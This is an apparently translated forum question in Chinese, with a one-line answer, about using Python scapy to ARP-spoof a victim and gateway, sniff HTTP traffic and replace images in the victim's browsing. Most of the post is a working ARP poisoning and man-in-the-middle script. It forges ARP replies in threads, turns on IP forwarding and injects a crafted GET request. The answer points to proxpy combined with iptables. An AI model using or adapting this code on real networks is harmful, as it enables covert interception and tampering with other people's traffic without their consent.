Python scapy 嗅探替换图像

Question

对我正在尝试做的事情的简短解释:)

我想用特定的图片替换 http 流量中的每张图片。

我先从arp欺骗入手。然后我检查数据包是否包含 http-raw 数据。如果是这样，我将检查该请求是否为图像请求。如果是图片请求，我会尝试用自己的请求替换该请求。

这是我的代码：

#!/usr/bin/python

from scapy.all import *
import threading 
import os

# Destination is the IP-Adress of the Victim
# Source ist the IP-Adress of the Gateway
# Opcode is Reply (2)
def VictimPoisoning() :
   VictimPacket = ARP(pdst=VictimIP, psrc=GatewayIP, op=2)
   while True :
       try:
           send(VictimPacket, verbose = 0)
       except KeyboardInterupt:
           sys.exit(1)

# Source ist the IP-Adress of the Gateway
# Destination is the IP-Adress of the Victim
# Opcode is Reply (2)
def GatewayPoisoning() :
   GatewayPacket = ARP(pdst=GatewayIP, psrc=VictimIP, op=2)
   while True:
       try:
           send(GatewayPacket, verbose = 0)
       except KeyboardInterupt:                     
           sys.exit(1)

    def TCPHttpExtract(pkt):
       if pkt.haslayer(TCP) and pkt.getlayer(TCP).dport == 80 and pkt.getlayer(Raw):

       #This packet should be sent by every image request
       OwnPacket="GET /resources/css/mdr/global/img/iconFlash.jpg HTTP/1.1\nHost:   www.site.com\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0\nAccept: image/png,image/*;q=0.8,*/*;q=0.5\nAccept-Language: de,en-US;q=0.7,en;q=0.3\nConnection: keep-alive"

       StringJPG=""
       StringPNG=""
       StringGIF=""
       StringPacket=""
       liste=[]     

       for line in pkt.getlayer(Raw) :
           liste.append(line)

       #Check if the requests contains an *.jpg, *.png, *.gif
       #Just check JPG - rest will be implemented later on
       StringPacket=re.findall('(\s\/.*?\s)', str(liste))
       StringJPG=re.findall('.*\.jpg', str(StringPacket))
       StringPNG=re.findall('.*\.png', str(StringPacket))
       StringGIF=re.findall('.*\.gif', str(StringPacket))
       if(StringJPG):
          send(OwnPacket)

      #Forward packets
      os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') 


      print "\n----------------------------------------"
      VictimIP  = raw_input("Victim-IP:    ")
      GatewayIP = raw_input("Gateway-IP:   ")
      IFACE     = raw_input("Interface:    ")
      print "-----------------------------------------\n"

      VictimThread = []
      GatewayThread = []    

      print "Start poisoning the Victim ... \n"

      while True:   
         try:
            # VictimThread      
            VicPoison = threading.Thread(target=VictimPoisoning)
            VicPoison.setDaemon(True)
            VictimThread.append(VicPoison)
            VicPoison.start()       

            # GatewayThread
            GWayPoison = threading.Thread(target=GatewayPoisoning)
            GWayPoison.setDaemon(True)
            GatewayThread.append(GWayPoison)
            GWayPoison.start()

            pkt=sniff(iface=IFACE, prn=TCPHttpExtract)

            # Cancel with STRG+C
         except KeyboardInterupt:                     
            sys.exit(1)

arp 欺骗和图像正则表达式以及数据包的发送都在起作用，但浏览器不会 change/get 此图像。我必须先销毁原始数据包吗？我不想用ettercap，我想在这里用python来做:)

*抱歉格式错误。

感谢大家的帮助！ :)

Answer 1

这个问题的答案是 proxpy 结合 ip-tables。

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